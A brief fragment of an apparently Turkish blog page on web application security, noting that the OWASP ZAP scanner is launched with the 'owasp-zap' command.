#Owasp Zap Programını başlatmak için owasp-zap komutunu kullanabiliriz.

Web Uygulamalarına Yönelik Güvenlik

You may also like...

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir